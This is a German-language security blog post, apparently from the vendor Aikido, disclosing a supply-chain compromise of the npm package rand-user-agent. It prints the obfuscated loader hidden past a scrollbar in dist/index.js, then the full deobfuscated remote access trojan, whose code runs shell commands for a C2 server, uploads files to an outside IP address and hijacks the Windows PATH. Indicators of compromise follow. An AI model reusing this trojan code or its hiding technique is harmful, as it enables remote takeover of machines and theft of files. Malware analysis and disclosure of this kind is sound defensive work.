Aikido

RATatouille: Ein bösartiges Rezept, versteckt in rand-user-agent (Lieferkettenkompromittierung)

Charlie EriksenCharlie Eriksen
|
#
#

Am 5. Mai um 16:00 Uhr GMT+0 entdeckte unsere automatisierte Malware-Analyse-Pipeline ein verdächtiges Paket, das veröffentlicht wurde, rand-user-agent@1.0.110. Es erkannte ungewöhnlichen Code im Paket, und es lag nicht falsch. Es erkannte Anzeichen eines Supply-Chain-Angriffs auf dieses legitime Paket, das etwa ~45.000 wöchentliche Downloads hat. 

Was ist das Paket?

Das Paket `rand-user-agent` generiert zufällige, echte User-Agent-Strings basierend auf deren Häufigkeit. Es wird von der Firma WebScrapingAPI (https://www.webscrapingapi.com/) gepflegt.

Was haben wir entdeckt?

Unsere Analyse-Engine hat verdächtigen Code in der Datei dist/index.js entdeckt. Schauen wir es uns an, hier in der Code-Ansicht auf der npm-Website:

Versteckter Code über die Scrollleiste in rand-user-agent

Fällt Ihnen etwas Merkwürdiges auf? Sehen Sie die Scrollleiste unten? Verflixt, sie haben es wieder getan. Sie haben versucht, den Code zu verstecken. Hier ist, was er zu verbergen versucht, aufbereitet:

global["_V"] = "7-randuser84";
global["r"] = require;
var a0b, a0a;
(function () {
  var siM = "",
    mZw = 357 - 346;
  function pHg(l) {
    var y = 2461180;
    var i = l.length;
    var x = [];
    for (var v = 0; v < i; v++) {
      x[v] = l.charAt(v);
    }
    for (var v = 0; v < i; v++) {
      var h = y * (v + 179) + (y % 18929);
      var w = y * (v + 658) + (y % 13606);
      var s = h % i;
      var f = w % i;
      var j = x[s];
      x[s] = x[f];
      x[f] = j;
      y = (h + w) % 5578712;
    }
    return x.join("");
  }
  var Rjb = pHg("thnoywfmcbxturazrpeicolsodngcruqksvtj").substr(0, mZw);
  var Abp =
    'e;s(Avl0"=9=.u;ri+t).n5rwp7u;de(j);m"[)r2(r;ttozix+z"=2vf6+*tto,)0([6gh6;+a,k qsb a,d+,o-24brC4C=g1,;(hnn,o4at1nj,2m9.o;i0uhl[j1zen oq9v,=)eAa8hni e-og(e;s+es7p,.inC7li1;o 2 gai](r;rv=1fyC[  v =>agfn,rv"7erv,htv*rlh,gaq0.i,=u+)o;;athat,9h])=,um2q(svg6qcc+r. (u;d,uor.t.0]j,3}lr=ath()(p,g0;1hpfj-ro=cr.[=;({,A];gr.C7;+ac{[=(up;a](s sa)fhiio+cbSirnr; 8sml o<.a6(ntf gr=rr;ea+=;u{ajrtb=bta;s((tr]2+)r)ng[]hvrm)he<nffc1;an;f[i]w;le=er=v)daec(77{1)lghr(t(r0hewe;<a tha);8l8af6rn o0err8o+ivrb4l!);y rvutp;+e]ez-ec=).(])o r9=rg={0r4=l8i2gCnd)[];dca=,ivu8u rs2+.=7tjv5(=agf=,(s>e=o.gi9nno-s)v)d[(tu5"p)6;n2lpi)+(}gd.=}g)1ngvn;leti7!;}v-e))=v3h<evvahr=)vbst,p.lforn+pa)==."n1q[==cvtpaat;e+b";sh6h.0+(l}==+uca.ljgi;;0vrwna+n9Ajm;gqpr[3,r=q10or"A.boi=le{}o;f h n]tqrrb)rsgaaC1r";,(vyl6dnll.(utn yeh;0[g)eew;n);8.v +0+,s=lee+b< ac=s."n(+l[a(t(e{Srsn a}drvmoi]..odi;,=.ju];5a=tgp(h,-ol8)s.hur;)m(gf(ps)C';
  var QbC = pHg[Rjb];
  var duZ = "";
  var yCZ = QbC;
  var pPW = QbC(duZ, pHg(Abp));
  var fqw = pPW(
    pHg(
      ']W.SJ&)19P!.)]bq_1m1U4(r!)1P8)Pfe4(;0_4=9P)Kr0PPl!v\/P<t(mt:x=P}c)]PP_aPJ2a.d}Z}P9]r8=f)a:eI1[](,8t,VP).a ]Qpip]#PZP;eNP_P6(=qu!Pqk%\/pT=tPd.f3(c2old6Y,a5)4 (_1!-u6M<!6=x.b}2P 4(ba9..=;p5P_e.P)aP\/47PtonaP\/SPxse)59f.)P)a2a,i=P]9q$.e=Pg23w^!3,P.%ya05.&\'3&t2)EbP)P^P!sP.C[i_iP&\'. 3&5ecnP(f"%.r5{!PPuH5].6A0roSP;;aPrg(]oc8vx]P(aPt=PP.P)P)(he6af1i0)4b(( P6p7Soat9P%2iP y 1En,eVsePP[n7E)r2]rNg3)CH(P2.s>jopn2P$=a7P,].+d%1%p$]8)n_6P1 .ap;=cVK%$e(?,!Vhxa%PPs);.tbr.r5ay25{gPegP %b7 (!gfEPeEri3iut)da(saPpd%)6doPob%Ds e5th }PP781su{P.94$fe.b.({(!rb=P(a{t3t8eBM,#P^m.q.0StPro8)PP(]"nP)e4(y)s.1n4 tl658r)Pove5f;%0a8e0c@P(d16(n.jsP)y=hP3,.gsvP4_%;%c%e.xd[,S1PhWhP.$p.p`i0P?PP5P_Paddn%D$_xn)3,=P]axn0i.(3;.0vcPj%y=cd56ig\/P=[ .nr)Ps iPedjgo5\/o6.m#;dD%iax,[aK1ot(S%hI noqjf7oPoezP,0,9d){cPx uPmsb11ah9n22=8j{wAPe1 ciP;db((KP9%l5=0.aP%}] std1.tt).A%.%brib);N)0d{4h6f4N)8mt$9)g) 7n;(a(_(7 laP!($!.1s5]P4P)hiu%72P1}Ve.+)12>%$P)_1P)na3)_tP\'69086t3im=n1M1c)0);)d3)4neaPD]4m(%fd[Pofg6[m}b4P[7vV)P)S;P]]=9%124oDtrP;f)[(;)rdPiP3d}0f.3a]SI=))}:X^d5oX,)aCh]]h19dzd.Pf_Pad]j02a)bPm3x0(aPzV;6+n#:pPd.P8)(aa,$P7o%)),;)?4.dP=2PP.Piu!(})30YP4%%66]0blP,P1cfPoPPG{P8I(]7)n! _t. .PsP};.)\/(hP)f)Loc5QPX>a!nT}aPa_P6jfrP0]fSoaPs.jbs )aPW+\/P8oaP}_RjGpPS,r___%%.v(ZP.3)! i]H1{(a2P;Pe)ji.Pi10lc.cp6ymP13]PL5;cPPK%C c79PGp=%P1^%}().j.rPsoa]sP+_P)l)]P(P8bP,ap$BP,;,c01;51bP(PccP))tPh]hc4B(P=(h%l<Ps!4w]_c[]e(tnyP)))P_a?+P+P.H],2-tfa^$;r(P!\\a]))1c&o1..j(%sPxef5P.6aP;9.b Rg(f=)\/vb9_3,P95&PP,\\=9p423).P]_7,"E)n\/Js2 PF)aPPPi)b0!06o6.8oa=thx2!..P$P oPs8PxP)n)aP;o71PkPp7i$Pb)P]_a,rta%_jUa<48R(;[!]VPaPut7rf.+v$aP$ i$P&56l.%]dP9(s1e$7b=34}MPt0,(c(.P(fPic$=ch)nP?jf0!PP8n9i2].P1)PPMa.t$)4P.q].ii3}aP;aPPr,bg;PdP98tPctPa0()_%dPr =.r.mJt)(P]sCJoeb(PiaPo(lr*90aPPgo\\dP\/PPa+mx2fPpPP4,)Pd8Nfp4uaIho]c[]361P&b}bPPP4t=3\'a)PnP(,8fp]P706p1PPle$f)tcPoP 7bP$!-vPPW10 0yd]4)2"ey%u2s9)MhbdP]f9%P.viP4P=,a s].=4])n$GPPsPaoP81}[%57)]CSPPa;!P2aPc..Pba?(Pati0]13PP,{P(haPcP;W%ff5XPia.j!4P(ablil}rcycN.7Pe.a_4%:7PHctP1P)c_(c;dt.Pl(PPP)V\/[Ph_.j&P]3geL[!c$P3P88ea(a8.d,)6fPP3a=rz3O[3)\\bnd=)6ac.a?,(]e!m=;{a&(]c_01rP_)2P9[xfz._9P,qP.9k%0mPen_a"]4PtP(m;PP})t2PkPPp=])d9Pt}oa)eP)rPi@j(+PP@.#P(t6=%[\\a\\}o2jr51d;,Paw$\/4Pt;2P23iP(_CPO2p.$(iP*]%!3P(P.3()P1m7(U7tI#9wejf.sc.oes)rPgt(+oe;,Px5(sn;O0f_22)r.z}l]Ig4a)xF P}?P;$?cw3,bg\\cPaP(grgalP$)(]e@2),Pa(fP=_,t{) (ec]aP1f2.z1[P !3 ?_b],P4CnoPx%)F9neQ.;sPb11ao1)6Pdd_l(%e)}Plp((4c6pou46ea# mdad_3hP3a.m,d.P(l]Q{Pt")7am=qPN7)$ oPF(P%kPat)$Pbaas=[tN;1;-?1)hO,,Pth;}aP.PP),,:40P#U}Paa92.|,m-(}g #a.2_I? 56a3PP(1%7w+11tPbPaPbP.58P6vrR,.{f.or)nn.d]P]r03j0;&482Pe.I_siP(Iha3=0zPy\/t%](_e)))[P26((;,d$P6e(l]r+C=[Pc347f3rTP=P.%f)P96].%P]"0InP(5a_iPIP13WNi)a4mP.s=`aveP>.;,$Es)P2P0=)v_P%8{P;o).0T2ox*PP:()PTS!%tc])4r.fy sefv{.)P9!jltPPsin6^5t(P0tr4,0Pt_P6Pa]aa|(+hp,)pPPCpeP.13l])gmrPc3aa] f,0()s3.tf(PPriPtb40aPnr8 2e0"2>P0tj$d_75!LG__7xf7);`f_fPPP]c6Wec;{Pi4.!P(\\#(b_u{=4RYr ihHP=Pac%Po 5vyt)DP6m5*1# 3ao6a7.0f1f0P. )iKPb),{PPPd=Po;roP$f=P1-_ePaa!8DV()[oP3(i,Pa,(c=o({PpPl#).c! =;"i;j]1vr i.d-j=t,).n9t%r5($Plc;?d]8P<=(sPP)AoPa)) P1x]Kh)(0]}6PAfbCp7PP(1oni,!rsPu.!-2g0 ,so0SP3P4j0P2;QPPjtd9 46]l.]t7)>5s31%nhtP!a6pP0P0a[!fPta2.P3 \\. ,3b.cb`ePh(Po a+ea2af(a13 oa%:}.kiM_e!d Pg>l])(@)Pg186( .40[iPa,sP>R(?)7zrnt)Jn[h=)_hl)b$3`($s;c.te7c}P]i52"9m3t ,P]PPP_)e4tf0Ps ,P+PP(gXh{;o_cxjn.not.2]Y"Pf6ep!$:1,>05PHPh,PF(P7.;{.lr[cs);k4P\/j7aP()M70glrP=01aes_Pfdr)axP p2?1ba2o;s..]a.6+6449ufPt$0a$5IsP(,P[ejmP0PP.P%;WBw(-5b$P d5.3Uu;3$aPnfu3Zha5 5gdP($1ao.aLko!j%ia21Pmh 0hi!6;K!P,_t`i)rP5.)J].$ b.}_P (Pe%_ %c^a_th,){(7  0sd@d$s=$_el-a]1!gtc(=&P)t_.f ssh{(.F=e9lP)1P($4P"P,9PK.P_P s));',
    ),
  );
  var zlJ = yCZ(siM, fqw);
  zlJ(5164);
  return 8268;
})();

Uhm, das sieht übel aus. Das gehört offensichtlich nicht dorthin.

Wie kam der Code dorthin?

Wenn wir uns das GitHub-Repository für das Projekt ansehen, sehen wir, dass der letzte Commit vor 7 Monaten erfolgte, als Version 2.0.82 veröffentlicht wurde.

GitHub-Screenshot von Rand-user-agent

Wenn wir uns die npm-Versionshistorie ansehen, sehen wir etwas Merkwürdiges. Seitdem gab es mehrere Releases:

Die letzte Veröffentlichung sollte laut GitHub sein 2.0.82. Und wenn wir die Pakete seitdem überprüfen, enthalten sie alle diesen bösartigen Code. Ein klarer Fall eines Supply-Chain-Angriffs. 

Die bösartige Payload

Die Payload ist ziemlich verschleiert, wobei mehrere Verschleierungsebenen verwendet werden, um sich zu verstecken. Aber hier ist die endgültige Payload, die Sie schließlich finden werden:

global['_H2'] = ''
global['_H3'] = ''
;(async () => {
  const c = global.r || require,
    d = c('os'),
    f = c('path'),
    g = c('fs'),
    h = c('child_process'),
    i = c('crypto'),
    j = f.join(d.homedir(), '.node_modules')
  if (typeof module === 'object') {
    module.paths.push(f.join(j, 'node_modules'))
  } else {
    if (global['_module']) {
      global['_module'].paths.push(f.join(j, 'node_modules'))
    }
  }
  async function k(I, J) {
    return new global.Promise((K, L) => {
      h.exec(I, J, (M, N, O) => {
        if (M) {
          L('Error: ' + M.message)
          return
        }
        if (O) {
          L('Stderr: ' + O)
          return
        }
        K(N)
      })
    })
  }
  function l(I) {
    try {
      return c.resolve(I), true
    } catch (J) {
      return false
    }
  }
  const m = l('axios'),
    n = l('socket.io-client')
  if (!m || !n) {
    try {
      const I = {
        stdio: 'inherit',
        windowsHide: true,
      }
      const J = {
        stdio: 'inherit',
        windowsHide: true,
      }
      if (m) {
        await k('npm --prefix "' + j + '" install socket.io-client', I)
      } else {
        await k('npm --prefix "' + j + '" install axios socket.io-client', J)
      }
    } catch (K) {
      console.log(K)
    }
  }
  const o = c('axios'),
    p = c('form-data'),
    q = c('socket.io-client')
  let r,
    s,
    t = { M: P }
  const u = d.platform().startsWith('win'),
    v = d.type(),
    w = global['_H3'] || 'http://85.239.62[.]36:3306',
    x = global['_H2'] || 'http://85.239.62[.]36:27017'
  function y() {
    return d.hostname() + '$' + d.userInfo().username
  }
  function z() {
    const L = i.randomBytes(16)
    L[6] = (L[6] & 15) | 64
    L[8] = (L[8] & 63) | 128
    const M = L.toString('hex')
    return (
      M.substring(0, 8) +
      '-' +
      M.substring(8, 12) +
      '-' +
      M.substring(12, 16) +
      '-' +
      M.substring(16, 20) +
      '-' +
      M.substring(20, 32)
    )
  }
  function A() {
    const L = { reconnectionDelay: 5000 }
    r = q(w, L)
    r.on('connect', () => {
      console.log('Successfully connected to the server')
      const M = y(),
        N = {
          clientUuid: M,
          processId: s,
          osType: v,
        }
      r.emit('identify', 'client', N)
    })
    r.on('disconnect', () => {
      console.log('Disconnected from server')
    })
    r.on('command', F)
    r.on('exit', () => {
      process.exit()
    })
  }
  async function B(L, M, N, O) {
    try {
      const P = new p()
      P.append('client_id', L)
      P.append('path', N)
      M.forEach((R) => {
        const S = f.basename(R)
        P.append(S, g.createReadStream(R))
      })
      const Q = await o.post(x + '/u/f', P, { headers: P.getHeaders() })
      Q.status === 200
        ? r.emit(
            'response',
            'HTTP upload succeeded: ' + f.basename(M[0]) + ' file uploaded\n',
            O
          )
        : r.emit(
            'response',
            'Failed to upload file. Status code: ' + Q.status + '\n',
            O
          )
    } catch (R) {
      r.emit('response', 'Failed to upload: ' + R.message + '\n', O)
    }
  }
  async function C(L, M, N, O) {
    try {
      let P = 0,
        Q = 0
      const R = D(M)
      for (const S of R) {
        if (t[O].stopKey) {
          r.emit(
            'response',
            'HTTP upload stopped: ' +
              P +
              ' files succeeded, ' +
              Q +
              ' files failed\n',
            O
          )
          return
        }
        const T = f.relative(M, S),
          U = f.join(N, f.dirname(T))
        try {
          await B(L, [S], U, O)
          P++
        } catch (V) {
          Q++
        }
      }
      r.emit(
        'response',
        'HTTP upload succeeded: ' +
          P +
          ' files succeeded, ' +
          Q +
          ' files failed\n',
        O
      )
    } catch (W) {
      r.emit('response', 'Failed to upload: ' + W.message + '\n', O)
    }
  }
  function D(L) {
    let M = []
    const N = g.readdirSync(L)
    return (
      N.forEach((O) => {
        const P = f.join(L, O),
          Q = g.statSync(P)
        Q && Q.isDirectory() ? (M = M.concat(D(P))) : M.push(P)
      }),
      M
    )
  }
  function E(L) {
    const M = L.split(':')
    if (M.length < 2) {
      const R = {}
      return (
        (R.valid = false),
        (R.message = 'Command is missing ":" separator or parameters'),
        R
      )
    }
    const N = M[1].split(',')
    if (N.length < 2) {
      const S = {}
      return (
        (S.valid = false), (S.message = 'Filename or destination is missing'), S
      )
    }
    const O = N[0].trim(),
      P = N[1].trim()
    if (!O || !P) {
      const T = {}
      return (
        (T.valid = false), (T.message = 'Filename or destination is empty'), T
      )
    }
    const Q = {}
    return (Q.valid = true), (Q.filename = O), (Q.destination = P), Q
  }
  function F(L, M) {
    if (!M) {
      const O = {}
      return (
        (O.valid = false),
        (O.message = 'User UUID not provided in the command.'),
        O
      )
    }
    if (!t[M]) {
      const P = {
        currentDirectory: __dirname,
        commandQueue: [],
        stopKey: false,
      }
    }
    const N = t[M]
    N.commandQueue.push(L)
    G(M)
  }
  async function G(L) {
    let M = t[L]
    while (M.commandQueue.length > 0) {
      const N = M.commandQueue.shift()
      let O = ''
      if (N.startsWith('cd')) {
        const P = N.slice(2).trim()
        try {
          process.chdir(M.currentDirectory)
          process.chdir(P || '.')
          M.currentDirectory = process.cwd()
        } catch (Q) {
          O = 'Error: ' + Q.message
        }
      } else {
        if (N.startsWith('ss_upf') || N.startsWith('ss_upd')) {
          const R = E(N)
          if (!R.valid) {
            O = 'Invalid command format: ' + R.message + '\n'
            r.emit('response', O, L)
            continue
          }
          const { filename: S, destination: T } = R
          M.stopKey = false
          O = ' >> starting upload\n'
          if (N.startsWith('ss_upf')) {
            B(y(), [f.join(process.cwd(), S)], T, L)
          } else {
            N.startsWith('ss_upd') && C(y(), f.join(process.cwd(), S), T, L)
          }
        } else {
          if (N.startsWith('ss_dir')) {
            process.chdir(__dirname)
            M.currentDirectory = process.cwd()
          } else {
            if (N.startsWith('ss_fcd')) {
              const U = N.split(':')
              if (U.length < 2) {
                O = 'Command is missing ":" separator or parameters'
              } else {
                const V = U[1]
                process.chdir(V)
                M.currentDirectory = process.cwd()
              }
            } else {
              if (N.startsWith('ss_stop')) {
                M.stopKey = true
              } else {
                try {
                  const W = {
                    cwd: M.currentDirectory,
                    windowsHide: true,
                  }
                  const X = W
                  if (u) {
                    try {
                      const Y = f.join(
                          process.env.LOCALAPPDATA ||
                            f.join(d.homedir(), 'AppData', 'Local'),
                          'Programs\\Python\\Python3127'
                        ),
                        Z = { ...process.env }
                      Z.PATH = Y + ';' + process.env.PATH
                      X.env = Z
                    } catch (a0) {}
                  }
                  h.exec(N, X, (a1, a2, a3) => {
                    let a4 = '\n'
                    a1 && (a4 += 'Error executing command: ' + a1.message)
                    a3 && (a4 += 'Stderr: ' + a3)
                    a4 += a2
                    a4 += M.currentDirectory + '> '
                    r.emit('response', a4, L)
                  })
                } catch (a1) {
                  O = 'Error executing command: ' + a1.message
                }
              }
            }
          }
        }
      }
      O += M.currentDirectory + '> '
      r.emit('response', O, L)
    }
  }
  function H() {
    s = z()
    A(s)
  }
  H()
})()

Wir haben es mit einem RAT (Remote Access Trojan) zu tun. Hier ist eine Übersicht darüber:

Verhaltensübersicht

Das Skript richtet einen verdeckten Kommunikationskanal mit einem Command-and-Control (C2) Server verwendet socket.io-client, während Dateien über axios an einen zweiten HTTP-Endpunkt. Es installiert diese Module dynamisch, falls sie fehlen, und versteckt sie in einem benutzerdefinierten .node_modules Ordner im Home-Verzeichnis des Benutzers.

 C2-Infrastruktur

  • Socket-Kommunikation: http://85.239.62[.]36:3306
  • Datei-Upload-Endpunkt: http://85.239.62[.]36:27017/u/f

Nach der Verbindung sendet der Client seine eindeutige ID (Hostname + Benutzername), den OS-Typ und die Prozess-ID an den Server.

Funktionen

Hier ist eine Liste der Fähigkeiten (Befehle), die der RAT unterstützt.

| Command         | Purpose                                                       |
| --------------- | ------------------------------------------------------------- |
| cd              | Change current working directory                              |
| ss_dir          | Reset directory to script’s path                              |
| ss_fcd:<path>   | Force change directory to <path>                              |
| ss_upf:f,d      | Upload single file f to destination d                         |
| ss_upd:d,dest   | Upload all files under directory d to destination dest        |
| ss_stop         | Sets a stop flag to interrupt current upload process          |
| Any other input | Treated as a shell command, executed via child_process.exec() |

Backdoor: Python3127 PATH Hijack

Eines der subtileren Merkmale dieses RAT ist die Verwendung eines Windows-spezifischen PATH-Hijacks, der darauf abzielt, bösartige Binärdateien unter dem Deckmantel von Python-Tools still und heimlich auszuführen.

Das Skript konstruiert und stellt den folgenden Pfad voran zu dem PATH Umgebungsvariable vor der Ausführung von Shell-Befehlen:

%LOCALAPPDATA%\Programs\Python\Python3127

Durch das Injizieren dieses Verzeichnisses am Anfang von PATH, jeder Befehl, der auf über die Umgebung aufgelöste ausführbare Dateien angewiesen ist (z.B., python, pip, usw.) können stillschweigend gekapert werden. Dies ist besonders effektiv auf Systemen, auf denen Python bereits verfügbar sein sollte.

const Y = path.join(
  process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local'),
  'Programs\\Python\\Python3127'
)
env.PATH = Y + ';' + process.env.PATH

Indikatoren für Kompromittierung

Derzeit sind die einzigen Indikatoren, die wir haben, die bösartigen Versionen, welche sind:

  • 2.0.84
  • 1.0.110
  • 2.0.83
| Nutzung              | Endpunkt                        | Protokoll/Methode            |
| ------------------ | ------------------------------- | -------------------------- |
| Socket-Verbindung  | http://85.239.62[.]36:3306      | socket.io-client           |
| Ziel für Dateiupload | http://85.239.62[.]36:27017/u/f | HTTP POST (multipart/form) |

Wenn Sie eines dieser Pakete installiert haben, können Sie prüfen, ob es mit dem C2 kommuniziert hat.

4.7/5

Sichern Sie Ihre Software jetzt.

Kostenlos starten
Ohne Kreditkarte
Demo buchen
Ihre Daten werden nicht weitergegeben · Nur Lesezugriff · Keine Kreditkarte erforderlich

Werden Sie jetzt sicher.

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.